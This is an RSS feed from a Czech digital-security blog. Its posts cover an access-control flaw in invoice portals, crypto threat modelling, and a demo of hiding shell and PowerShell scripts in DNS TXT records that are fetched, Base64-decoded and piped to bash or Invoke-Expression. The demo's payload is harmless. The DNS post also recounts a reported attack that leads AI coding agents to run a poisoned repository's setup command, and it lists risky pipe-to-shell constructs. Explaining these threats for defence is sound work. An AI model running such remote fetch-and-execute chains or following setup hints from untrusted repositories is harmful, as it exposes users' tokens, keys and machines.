<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>nástroje Archives - DIGITAL SELF-DEFENSE</title>
	<atom:link href="https://www.digitalnisebeobrana.cz/en/category/nastroje/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.digitalnisebeobrana.cz/en/category/nastroje/</link>
	<description></description>
	<lastBuildDate>Sat, 25 Jul 2026 12:28:23 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://www.digitalnisebeobrana.cz/wp-content/uploads/2018/12/cropped-mr.black_-32x32.png</url>
	<title>nástroje Archives - DIGITAL SELF-DEFENSE</title>
	<link>https://www.digitalnisebeobrana.cz/en/category/nastroje/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>The Application Works. Is That Enough?</title>
		<link>https://www.digitalnisebeobrana.cz/en/the-application-works-is-that-enough/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Sat, 25 Jul 2026 12:17:24 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Promptpunk]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[nástroj]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[prevence]]></category>
		<category><![CDATA[test]]></category>
		<category><![CDATA[vibe-coding]]></category>
		<category><![CDATA[zranitelnost]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=7125</guid>

					<description><![CDATA[<p>A successful handover does not mean a web application correctly protects accounts, roles and data. When is a security review enough, and when do you need a penetration test?</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/the-application-works-is-that-enough/">The Application Works. Is That Enough?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>One number</h2>
<p>A customer logs in to a new portal and opens their invoice.</p>
<p>They notice the document number in the page address and try changing it.</p>
<p>The application displays another customer’s invoice.</p>
<p>They did not crack a password. They did not bypass the login. They did not use any special tool.</p>
<p>They changed one number.</p>
<p>The login still works. Invoices load correctly. The application passed its standard tests.</p>
<p>The application verified that the user was logged in. It did not verify whether that user was allowed to view this particular document.</p>
<p>The feature worked.</p>
<p>Just not securely.</p>
<h2>It passed acceptance testing</h2>
<p>During application handover, the expected workflow is usually tested.</p>
<p>A user logs in, completes a form, submits an order or downloads a document. An administrator updates a record. The data is saved and the necessary information is passed to the next system or person.</p>
<p>This type of testing answers an important question:</p>
<blockquote>
<p>Does the application do what we ordered?</p>
</blockquote>
<p>It does not automatically answer another one:</p>
<blockquote>
<p>What does the application allow when someone uses it differently from the expected workflow?</p>
</blockquote>
<p>Can a regular user open someone else’s document? Can they access a function intended for an administrator? Can they see information that does not belong to them? Can they skip part of the process?</p>
<p>A security issue does not have to cause the application to crash or display an error.</p>
<p>Quite the opposite. The application may process the request without any problem.</p>
<p>Just for the wrong user or with someone else’s data.</p>
<blockquote>
<p><strong>Are you accepting or launching a web application?</strong></p>
<p>Send a brief description of the application, its user types and the planned handover date. I will tell you whether it fits the <a href="https://www.digitalnisebeobrana.cz/en/bezpecnostni-kontrola-webove-aplikace/">Web Application Security Review</a> or needs a <a href="https://www.digitalnisebeobrana.cz/en/penetracni-test-na-miru/">Custom Penetration Test</a>.</p>
<p><a href="https://www.digitalnisebeobrana.cz/en/kontakt/"><strong>Send a brief description of the application</strong></a></p>
</blockquote>
<h2>When development speeds up</h2>
<p>AI tools can significantly speed up web application development.</p>
<p>They can help create login flows, administration interfaces, forms, file uploads, exports and integrations with other systems. A working version can appear very quickly.</p>
<p>That is not a problem by itself.</p>
<p>The problem starts when development speed is mistaken for verification of the result.</p>
<p>Every new feature introduces decisions the application must make correctly:</p>
<ul>
<li>Who is allowed to open this page?</li>
<li>Who owns this document?</li>
<li>Who is allowed to modify the record?</li>
<li>What can a regular user do, and what is restricted to an administrator?</li>
<li>Which data is the application allowed to display?</li>
</ul>
<p>AI can create the feature. Someone still needs to verify who can use it and what it allows them to access.</p>
<p>The same applies to conventional development. With applications built or significantly accelerated using AI, however, it is easy to skip the security review because the working result looks finished very early.</p>
<h2>A different perspective</h2>
<p>A security finding does not automatically mean the vendor or developer did a poor job.</p>
<p>The development team must deliver the agreed features, connect the individual components, fix bugs and ensure that the application works as a whole.</p>
<p>Security should be part of good development. An independent review still serves a different purpose.</p>
<p>A developer may ask:</p>
<blockquote>
<p>Can the customer view their invoice?</p>
</blockquote>
<p>A security review adds a second question:</p>
<blockquote>
<p>Can they also view someone else’s invoice?</p>
</blockquote>
<p>It does not test only the expected workflow. It also checks modified identifiers, bypassed roles, access to other users’ data and other situations that may not be covered by standard acceptance testing.</p>
<p>Development testing and an independent security review are not competing activities.</p>
<p>They answer different questions.</p>
<h2>While there is still time</h2>
<p>The best time for an independent review is before final acceptance, launch or final payment for the project.</p>
<p>The vendor still has the application in context. The development team is available. Documentation and the test environment are close at hand.</p>
<p>Problems can be addressed while the cooperation is still active, rather than after customers are already using the application and the original team has moved on to another project.</p>
<p>The company also receives a practical basis for deciding:</p>
<ul>
<li>what needs to be fixed before launch;</li>
<li>which issues have the greatest practical impact;</li>
<li>what can be addressed later;</li>
<li>whether a limited security review is enough;</li>
<li>or whether the project needs a broader penetration test.</li>
</ul>
<p>A review can also be useful for an application that is already running. Handover is nevertheless a natural point at which the company accepts responsibility for the system, its users and its data.</p>
<p>It is better to know what you are actually accepting.</p>
<h2>Not a stamp of approval</h2>
<p>The purpose of a security review is not to certify that an application is secure once and for all.</p>
<p>No honest test can provide such a guarantee. Every assessment takes place at a particular time and within a predefined scope.</p>
<p>The result should not be an unexplained automated list of technical abbreviations either.</p>
<p>The client needs to know:</p>
<ul>
<li>what was found;</li>
<li>what practical impact the issue may have;</li>
<li>how serious it is;</li>
<li>how the developer can verify it;</li>
<li>what should be fixed first.</li>
</ul>
<p>The deliverable should be a prioritised report with specific remediation recommendations.</p>
<p>Not a general warning. A practical basis for remediation and further decisions.</p>
<h2>Security review or penetration test?</h2>
<p>For one smaller web application, a <a href="https://www.digitalnisebeobrana.cz/en/bezpecnostni-kontrola-webove-aplikace/"><strong>Web Application Security Review</strong></a> may be the appropriate option.</p>
<p>It has a predefined scope and focuses on the most important parts of the application: login, user roles, permissions, main workflows, handling of non-public data, forms, file uploads and APIs.</p>
<p>The deliverable includes a prioritised report, remediation recommendations and a final consultation.</p>
<p>The price is <strong>CZK 35,000 for a predefined scope</strong>.</p>
<p>For a larger or more sensitive application, a <a href="https://www.digitalnisebeobrana.cz/en/penetracni-test-na-miru/"><strong>Custom Penetration Test</strong></a> is usually a better fit. This typically includes systems with more user roles, multiple environments, a larger API, more integrations or specific risk scenarios.</p>
<p>A custom penetration test also has a clearly agreed scope. It is defined individually according to the application, the objective of the test and the required depth.</p>
<p>The price is determined after a short scoping process.</p>
<h2>Before you sign off</h2>
<p>A successful handover confirms that the application does what was ordered.</p>
<p>It does not automatically confirm who can use its features to access particular accounts, documents and data.</p>
<p>AI can significantly accelerate development. It cannot replace an independent review of the result.</p>
<p>Before final acceptance, it therefore makes sense to ask one more question:</p>
<blockquote>
<p>Has anyone tried using the application differently from the documented workflow?</p>
</blockquote>
<p>Send a brief description of the application, its user types, environments and planned handover date.</p>
<p>Based on the scope, I will recommend either a <a href="https://www.digitalnisebeobrana.cz/en/bezpecnostni-kontrola-webove-aplikace/">Web Application Security Review</a> or a <a href="https://www.digitalnisebeobrana.cz/en/penetracni-test-na-miru/">Custom Penetration Test</a>. If neither option is appropriate for the project, I will tell you.</p>
<p><a href="https://www.digitalnisebeobrana.cz/en/kontakt/"><strong>Send a brief description of the application</strong></a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/the-application-works-is-that-enough/">The Application Works. Is That Enough?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Code Hidden in DNS: When an AI Agent Opens the Door</title>
		<link>https://www.digitalnisebeobrana.cz/en/code-hidden-in-dns-when-an-ai-agent-opens-the-door/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Thu, 02 Jul 2026 10:33:23 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[hacky]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Promptpunk]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[agent]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[vibe-coding]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=5102</guid>

					<description><![CDATA[<p>Code does not have to be hidden directly in a repository. It can be loaded at runtime from something as ordinary as a DNS TXT record. This demo uses a harmless payload to show why that becomes risky when helpful AI agents automatically run setup commands.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/code-hidden-in-dns-when-an-ai-agent-opens-the-door/">Code Hidden in DNS: When an AI Agent Opens the Door</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Injecting malicious instructions into AI agents is a fairly new discipline. But many of the techniques used for it are not new at all.</p>
<p>One of them is hiding code in DNS records. More specifically, in TXT records, which are meant for storing text data. TXT records are commonly used to prove that you control a domain, or to configure SPF, DKIM and DMARC for email. Technically, though, they can contain almost any text.</p>
<p>And if a DNS record can contain ordinary text, it can also contain a command.</p>
<p>For example, a command that gets executed in a shell after being loaded. In a harmless demo, it can print a message, create a file or display ASCII art. In a malicious version, it can open remote access to your machine.</p>
<p>The important detail is this: the malicious code does not have to be stored in the repository at all. A static code scanner, a commit review or a quick human review may not see it, because the repository only contains a script that “loads configuration from DNS”. The actual payload appears only when the DNS record is read and its content is executed.</p>
<h2>Demo</h2>
<p>You can try this technique without using any malicious payload.</p>
<p>The following example does not download anything, does not connect anywhere and only creates a file called <code>ds.txt</code> with a simple ASCII cat:</p>
<pre><code> /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.</code></pre>
<p>The point is not what the script does. The point is that the code is not stored in a file on disk, but in a DNS TXT record.</p>
<h2>Linux and macOS</h2>
<p>For Linux and macOS, the DNS TXT record can look like this:</p>
<pre><code>txt-demo-sh.digitalnisebeobrana.cz TXT "Y2F0ID4gZHMudHh0IDw8J0VPRicKIC9cXy9cCiggby5vICkKID4gXiA8CkROUyBUWFQgc2F5cyBtZW93LgpFT0YKY2F0IGRzLnR4dAo="</code></pre>
<h3>1. Show the script</h3>
<p>This command reads the DNS TXT record, decodes it and prints the script:</p>
<pre><code>dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d</code></pre>
<p>Output:</p>
<pre><code>cat &gt; ds.txt &lt;&lt;'EOF'
 /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.
EOF
cat ds.txt</code></pre>
<h3>2. Run the demo</h3>
<p>This command does the same thing, but passes the decoded content directly to <code>bash</code>:</p>
<pre><code>dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d | bash</code></pre>
<p>Result: a file called <code>ds.txt</code> is created in the current directory and its content is printed to the terminal.</p>
<p>The mechanism is simple:</p>
<pre><code>DNS TXT → Base64 → decoding → bash</code></pre>
<p>In this demo, it only saves a harmless cat. The same principle could also write an SSH key, download another script, exfiltrate tokens or open a reverse shell.</p>
<p>The problem is not DNS itself. The problem is mainly this part:</p>
<pre><code>... | bash</code></pre>
<p>It says: “Take text that came from the outside and run it as a program.”</p>
<h2>Windows / PowerShell</h2>
<p>On Windows, you can do something similar with PowerShell. The TXT record can contain a Base64-encoded PowerShell script:</p>
<pre><code>txt-demo-ps.digitalnisebeobrana.cz TXT "JGFydCA9IEAnCiAvXF8vXAooIG8ubyApCiA+IF4gPApETlMgVFhUIHNheXMgbWVvdy4KJ0AKU2V0LUNvbnRlbnQgLVBhdGggLlxkcy50eHQgLVZhbHVlICRhcnQgLUVuY29kaW5nIFVURjgKR2V0LUNvbnRlbnQgLlxkcy50eHQK"</code></pre>
<h3>1. Show the script</h3>
<p>This command reads the DNS TXT record, decodes it and prints the PowerShell script:</p>
<pre><code>$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s))</code></pre>
<p>Output:</p>
<pre><code>$art = @'
 /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.
'@
Set-Content -Path .ds.txt -Value $art -Encoding UTF8
Get-Content .ds.txt</code></pre>
<h3>2. Run the demo</h3>
<p>This command does the same thing, but executes the decoded content directly:</p>
<pre><code>$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)))</code></pre>
<p>Result: a file called <code>ds.txt</code> is created in the current directory and its content is printed to the terminal.</p>
<p><code>iex</code> is short for <code>Invoke-Expression</code>. In other words: it takes text and runs it as PowerShell code.</p>
<p>The mechanism is the same as with the shell:</p>
<pre><code>DNS TXT → Base64 → decoding → PowerShell</code></pre>
<p>A DNS TXT record does not look dangerous by itself. Base64 is not malware by itself. PowerShell is a normal administration tool. The risk appears when all of them are chained together and external content is executed automatically.</p>
<h2>What 0DIN Showed</h2>
<p>Researchers from Mozilla 0DIN described an attack in which an AI agent was given a seemingly simple task: set up a downloaded repository.</p>
<p>The repository did not need to contain obvious malware. The README offered a normal-looking first-time setup:</p>
<pre><code>pip3 install -r requirements.txt
python3 -m axiom init</code></pre>
<p>At first glance, these are just two ordinary commands: install dependencies and initialize the project.</p>
<p>The original write-up describes the attack as having three parts. That does not mean the user or the AI agent has to manually run three separate commands. It is better understood as three connected layers:</p>
<ol>
<li>a repository that looks trustworthy,</li>
<li>an initialization routine that looks like a normal part of the setup,</li>
<li>a setup script that loads the actual payload from a DNS TXT record and executes it.</li>
</ol>
<p>The command:</p>
<pre><code>python3 -m axiom init</code></pre>
<p>runs another setup script internally. That script queries DNS, reads a TXT record, decodes its content and passes it to the shell.</p>
<p>An error message such as:</p>
<pre><code>Axiom not initialised. Run: python3 -m axiom init</code></pre>
<p>acts more like a fallback. If the agent ignores the README and tries to use the package without initialization, the package tells it to run the same command again as a normal fix.</p>
<p>So there are two paths to the same result.</p>
<p>The agent can follow the README:</p>
<pre><code>pip install → init → DNS TXT → payload execution</code></pre>
<p>Or it can skip the README, hit an error and then “fix” it:</p>
<pre><code>pip install → error → suggested init → DNS TXT → payload execution</code></pre>
<p>In both cases, the goal is the same: get the agent to run an initialization command that looks normal, but actually opens the path to an external payload.</p>
<p>That is the uncomfortable part. Each individual step can look harmless. The problem appears when they are chained together.</p>
<h2>Why This Matters for AI Agents</h2>
<p>A human may at least pause when seeing a command like:</p>
<pre><code>dig ... | base64 -d | bash</code></pre>
<p>and ask: wait, why am I running something from DNS?</p>
<p>AI agents often work differently. They are given a goal, such as “get this project running”, and then they try to solve whatever blocks them. If something fails, they read the README, an error message, an issue or a terminal hint, and try to continue.</p>
<p>That is exactly their strength. And also their weakness.</p>
<p>The agent does not have to be “hacked” in a dramatic sense. It only has to be helpful enough. It runs the suggested command because it fits the task. And if it has access to a shell, the network and your working directory, the damage can be very practical:</p>
<ul>
<li>leaking API tokens,</li>
<li>leaking SSH keys,</li>
<li>accessing private repositories,</li>
<li>reading configuration files,</li>
<li>accessing cloud credentials,</li>
<li>running additional code,</li>
<li>opening a reverse shell.</li>
</ul>
<p>In other words: this is not only “AI security”. It is classic developer workstation security, accelerated and amplified by an AI agent.</p>
<h2>Will Antivirus or a Firewall Stop It?</h2>
<p>I would not rely on that.</p>
<p>A normal repository scan may not find anything suspicious, because the real payload is not in the repository. It is in DNS.</p>
<p>Antivirus may also miss it if it only sees normal tools: Python, shell, <code>dig</code>, PowerShell, a DNS query. And firewalls often allow DNS traffic, because ordinary internet use breaks very quickly without DNS.</p>
<p>That does not mean defense is impossible. Good EDR, process monitoring, blocking suspicious child processes, limiting outbound traffic or detecting suspicious chains such as <code>base64 | bash</code> and <code>Invoke-Expression</code> can help.</p>
<p>It is just not a good idea to rely on them as the only protection.</p>
<h2>How to Defend Against It</h2>
<p>The basic rule is simple: an unknown repository is unknown code. And that is still true when an AI agent opens it for you.</p>
<p>In practice, that means:</p>
<ul>
<li>Do not blindly run setup scripts from unknown projects.</li>
<li>Do not treat an AI agent’s recommendation as a security review.</li>
<li>Be careful with constructs such as <code>curl | bash</code>, <code>wget | bash</code>, <code>dig | bash</code>, <code>base64 -d | bash</code>, <code>bash -c "$something"</code> or PowerShell <code>Invoke-Expression</code>.</li>
<li>Check not only the command being executed, but also what it loads at runtime.</li>
<li>Run unknown projects in isolation: a container, VM, throwaway user, devcontainer or sandbox.</li>
<li>Do not give AI agents unnecessarily broad permissions.</li>
<li>Do not keep production tokens, SSH keys, cloud credentials or other long-lived secrets available in the environment.</li>
<li>Limit outbound traffic from development environments where it makes sense.</li>
<li>Disable or heavily restrict automatic approval of shell commands in AI coding agents.</li>
<li>Treat README files, error messages, issues and documentation in unknown repositories as untrusted input, not as authoritative instructions.</li>
</ul>
<p>A good control question is:</p>
<blockquote>
<p>Can I actually see all the code that will run?</p>
</blockquote>
<p>If a command downloads something, reads from DNS, builds code from variables, decodes Base64 or pipes data into a shell, the answer is often: no, I cannot.</p>
<p>At that point, it is no longer “just setup”.</p>
<p>It is remote code execution with the privileges of a user who often has far more sensitive things on their machine than they realize.</p>
<h2>Summary</h2>
<p>DNS TXT records are not dangerous by themselves. Base64 is not dangerous by itself. AI agents are not dangerous by themselves either.</p>
<p>The problem appears when these things are combined:</p>
<pre><code>trustworthy-looking project
+ helpful AI agent
+ shell with too much access
+ externally loaded payload
= problem</code></pre>
<p>So it is worth repeating an old rule in a new form:</p>
<blockquote>
<p>Do not copy random commands from the internet into your terminal.<br />
  And do not let your AI agent do it either.</p>
</blockquote>
<h2>Sources</h2>
<ul>
<li><a href="https://0din.ai/blog/clone-this-repo-and-i-own-your-machine">Mozilla 0DIN: Clone This Repo and I Own Your Machine</a></li>
<li><a href="https://datatracker.ietf.org/doc/html/rfc1464">RFC 1464: Using the Domain Name System To Store Arbitrary String Attributes</a></li>
<li><a href="https://www.ietf.org/rfc/rfc1035.txt">RFC 1035: Domain Names &#8211; Implementation and Specification</a></li>
<li><a href="https://learn.microsoft.com/en-us/powershell/module/dnsclient/resolve-dnsname">Microsoft Learn: Resolve-DnsName</a></li>
<li><a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe">Microsoft Learn: about_PowerShell_exe</a></li>
</ul>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/code-hidden-in-dns-when-an-ai-agent-opens-the-door/">Code Hidden in DNS: When an AI Agent Opens the Door</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Personal Threat Model</title>
		<link>https://www.digitalnisebeobrana.cz/en/osobni-threat-model/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Wed, 13 Sep 2023 13:11:02 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[First aid!]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[defense]]></category>
		<category><![CDATA[obrana]]></category>
		<category><![CDATA[ochrana]]></category>
		<category><![CDATA[prevence]]></category>
		<category><![CDATA[prevention]]></category>
		<category><![CDATA[protection]]></category>
		<category><![CDATA[threat model]]></category>
		<guid isPermaLink="false">https://www.digitalni-sebeobrana.cz/?p=1963</guid>

					<description><![CDATA[<p>This personal threat model is the first step toward ensuring my cybersecurity in the field of cryptocurrencies. </p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/osobni-threat-model/">Personal Threat Model</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>&#8220;`html</p>
<h2 id="1-vod">1. Introduction</h2>
<p>This document serves as a personal threat model focused on cybersecurity in the area of cryptocurrencies. Its aim is to identify potential threats and vulnerabilities and propose measures to minimize them.</p>
<hr />
<h2 id="2-identifikace-akt-r-a-c-l-">2. Identification of Actors and Assets</h2>
<h3 id="akt-i">Actors</h3>
<ul>
<li>Hackers</li>
<li>Regulatory Bodies</li>
<li>Competitors</li>
<li>Close Associates</li>
</ul>
<h3 id="c-le">Assets</h3>
<ul>
<li>Crypto Wallet</li>
<li>Transaction History</li>
<li>Investment Strategy</li>
</ul>
<hr />
<h3 id="akt-i-a-c-le-detailn-pohled">Actors and Assets: Detailed View</h3>
<p>In this part of the threat model, it is crucial to identify in detail the actors who could pose a threat and the assets they might want to compromise. Each actor and asset should be elaborated on, including motivations, capabilities, and methods of attack.</p>
<h4 id="hacke-i">Hackers</h4>
<ul>
<li><strong>Motivation</strong>: Financial gain, reputational reasons, ideological beliefs</li>
<li><strong>Capabilities</strong>: Malware, ransomware, phishing attacks</li>
<li><strong>Attack Methods</strong>: Wallet infiltration, keylogging, SIM swapping</li>
</ul>
<h4 id="regul-torn-org-ny">Regulatory Bodies</h4>
<ul>
<li><strong>Motivation</strong>: Oversight and regulation, ensuring compliance with laws</li>
<li><strong>Capabilities</strong>: Legal measures, access to public and private databases</li>
<li><strong>Attack Methods</strong>: Court orders, asset seizure, audits</li>
</ul>
<h4 id="konkurence">Competitors</h4>
<ul>
<li><strong>Motivation</strong>: Gaining competitive advantage, financial gain</li>
<li><strong>Capabilities</strong>: Industrial espionage, social engineering</li>
<li><strong>Attack Methods</strong>: Infiltration, misinformation, market manipulation</li>
</ul>
<h4 id="bl-zc-">Close Associates</h4>
<ul>
<li><strong>Motivation</strong>: Personal interests, possible financial gain</li>
<li><strong>Capabilities</strong>: Access to personal devices, knowledge of personal information</li>
<li><strong>Attack Methods</strong>: Using known passwords, accessing unsecured devices</li>
</ul>
<hr />
<h3 id="c-le">Assets</h3>
<h4 id="krypto-pen-enka">Crypto Wallet</h4>
<ul>
<li><strong>Importance</strong>: High</li>
<li><strong>Attack Types</strong>: Phishing, malware, physical access</li>
<li><strong>Mitigations</strong>: Hardware wallet, 2FA, strong passwords</li>
</ul>
<h4 id="transak-n-historie">Transaction History</h4>
<ul>
<li><strong>Importance</strong>: Medium</li>
<li><strong>Attack Types</strong>: IP tracking, exchange compromise</li>
<li><strong>Mitigations</strong>: Use of VPN, decentralized exchanges</li>
</ul>
<h4 id="investi-n-strategie">Investment Strategy</h4>
<ul>
<li><strong>Importance</strong>: Medium to High</li>
<li><strong>Attack Types</strong>: Social engineering, industrial espionage</li>
<li><strong>Mitigations</strong>: Limiting information sharing, using encrypted communication</li>
</ul>
<hr />
<h2 id="3-zranitelnosti">3. Vulnerabilities</h2>
<h3 id="pou-v-n-online-pen-enek-s-n-zk-m-zabezpe-en-m">Using Online Wallets with Low Security</h3>
<ul>
<li><strong>Description</strong>: Online wallets are often targeted by attacks, especially if not properly secured.</li>
<li><strong>Actors</strong>: Hackers, competitors</li>
<li><strong>Attack Types</strong>: Phishing, brute-force attacks</li>
<li><strong>Mitigations</strong>: Switching to a hardware wallet, using 2FA</li>
</ul>
<h3 id="nezabezpe-en-wi-fi-s-">Unsecured Wi-Fi Network</h3>
<ul>
<li><strong>Description</strong>: Using unsecured Wi-Fi networks can allow attackers easy access to your data.</li>
<li><strong>Actors</strong>: Hackers, close associates</li>
<li><strong>Attack Types</strong>: Man-in-the-middle attacks, sniffing</li>
<li><strong>Mitigations</strong>: Use of VPN, connecting only to trusted networks</li>
</ul>
<h3 id="pou-v-n-neaktualizovan-ho-software">Using Outdated Software</h3>
<ul>
<li><strong>Description</strong>: Old or outdated software may contain vulnerabilities that can be exploited for infiltration.</li>
<li><strong>Actors</strong>: Hackers, regulatory bodies</li>
<li><strong>Attack Types</strong>: Exploitation of known vulnerabilities</li>
<li><strong>Mitigations</strong>: Regular software updates, application of security patches</li>
</ul>
<h3 id="nedostate-n-dvoufaktorov-autentizace-2fa-">Insufficient Two-Factor Authentication (2FA)</h3>
<ul>
<li><strong>Description</strong>: Absence or poor implementation of 2FA can lead to easy access to sensitive data.</li>
<li><strong>Actors</strong>: Hackers, close associates</li>
<li><strong>Attack Types</strong>: Brute-force attacks, SIM swapping</li>
<li><strong>Mitigations</strong>: Activation and proper configuration of 2FA</li>
</ul>
<h3 id="nedostate-n-opsec-operational-security-">Insufficient OPSEC (Operational Security)</h3>
<ul>
<li><strong>Description</strong>: Insufficient OPSEC may include poor handling of passwords, keys, and other sensitive data.</li>
<li><strong>Actors</strong>: All</li>
<li><strong>Attack Types</strong>: Social engineering, phishing</li>
<li><strong>Mitigations</strong>: Cybersecurity education, use of a password manager</li>
</ul>
<hr />
<h2 id="4-vektory-tok-">4. Attack Vectors</h2>
<h3 id="phishingov-toky">Phishing Attacks</h3>
<ul>
<li><strong>Description</strong>: Attacks that aim to obtain sensitive information through fraudulent emails or websites.</li>
<li><strong>Actors</strong>: Hackers, competitors</li>
<li><strong>Vulnerabilities</strong>: Insufficient OPSEC, using online wallets with low security</li>
<li><strong>Mitigations</strong>: Cybersecurity education, use of 2FA</li>
</ul>
<h3 id="man-in-the-middle-toky">Man-in-the-Middle Attacks</h3>
<ul>
<li><strong>Description</strong>: Attacks where the attacker eavesdrops on or manipulates communication between two parties.</li>
<li><strong>Actors</strong>: Hackers, regulatory bodies</li>
<li><strong>Vulnerabilities</strong>: Unsecured Wi-Fi network, outdated software</li>
<li><strong>Mitigations</strong>: Use of VPN, encryption of communication</li>
</ul>
<h3 id="social-engineering">Social Engineering</h3>
<ul>
<li><strong>Description</strong>: Manipulating people to obtain sensitive information or system access.</li>
<li><strong>Actors</strong>: Competitors, close associates</li>
<li><strong>Vulnerabilities</strong>: Insufficient OPSEC, insufficient 2FA</li>
<li><strong>Mitigations</strong>: Cybersecurity education, limiting information sharing</li>
</ul>
<h3 id="sim-swapping">SIM Swapping</h3>
<ul>
<li><strong>Description</strong>: An attack in which the attacker gains control of the target’s SIM card.</li>
<li><strong>Actors</strong>: Hackers</li>
<li><strong>Vulnerabilities</strong>: Insufficient 2FA, insufficient OPSEC</li>
<li><strong>Mitigations</strong>: Use of hardware-based 2FA, high level of OPSEC</li>
</ul>
<hr />
<h2 id="5-opat-en-">5. Measures</h2>
<h3 id="pou-it-hardwarov-pen-enky">Using a Hardware Wallet</h3>
<ul>
<li><strong>Description</strong>: Hardware wallets provide a high level of security for storing cryptocurrencies.</li>
<li><strong>Actors</strong>: Hackers</li>
<li><strong>Suitable for</strong>: Protecting the crypto wallet</li>
<li><strong>How to Implement</strong>: Purchase a reputable hardware wallet such as Ledger or Trezor and transfer your cryptocurrencies to it.</li>
</ul>
<h3 id="pou-it-vpn">Using a VPN</h3>
<ul>
<li><strong>Description</strong>: A VPN provides anonymity and security when browsing the internet.</li>
<li><strong>Actors</strong>: Regulatory bodies, hackers</li>
<li><strong>Suitable for</strong>: Protecting transaction history, securing Wi-Fi</li>
<li><strong>How to Implement</strong>: Choose a trusted VPN provider and enable it when connecting to the internet.</li>
</ul>
<h3 id="aktivace-a-spr-vn-konfigurace-2fa">Activation and Proper Configuration of 2FA</h3>
<ul>
<li><strong>Description</strong>: Two-factor authentication adds an additional layer of security.</li>
<li><strong>Actors</strong>: Hackers, close associates</li>
<li><strong>Suitable for</strong>: Protecting the crypto wallet, securing online accounts</li>
<li><strong>How to Implement</strong>: Enable 2FA on all important accounts and use an app like Google Authenticator or a hardware key like YubiKey.</li>
</ul>
<h3 id="vzd-l-n-v-oblasti-kybernetick-bezpe-nosti">Cybersecurity Education</h3>
<ul>
<li><strong>Description</strong>: Education and awareness are key to recognizing and preventing attacks.</li>
<li><strong>Actors</strong>: All</li>
<li><strong>Suitable for</strong>: Protection against all types of attacks</li>
<li><strong>How to Implement</strong>: Take cybersecurity courses, read current news and articles, and participate in webinars and conferences.</li>
</ul>
<hr />
<h2 id="6-z-v-r">6. Conclusion</h2>
<p>This personal threat model is the first step toward ensuring my cybersecurity in the field of cryptocurrencies. I plan to regularly update this document and implement new security measures according to the evolving threat landscape.<br />
&#8220;`</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/osobni-threat-model/">Personal Threat Model</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Videosérie Digitální Sebeobrany</title>
		<link>https://www.digitalnisebeobrana.cz/en/videokurz-digitalni-sebeobrany/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Mon, 15 Mar 2021 13:29:57 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[First aid!]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Rychlé novinky]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[kurz]]></category>
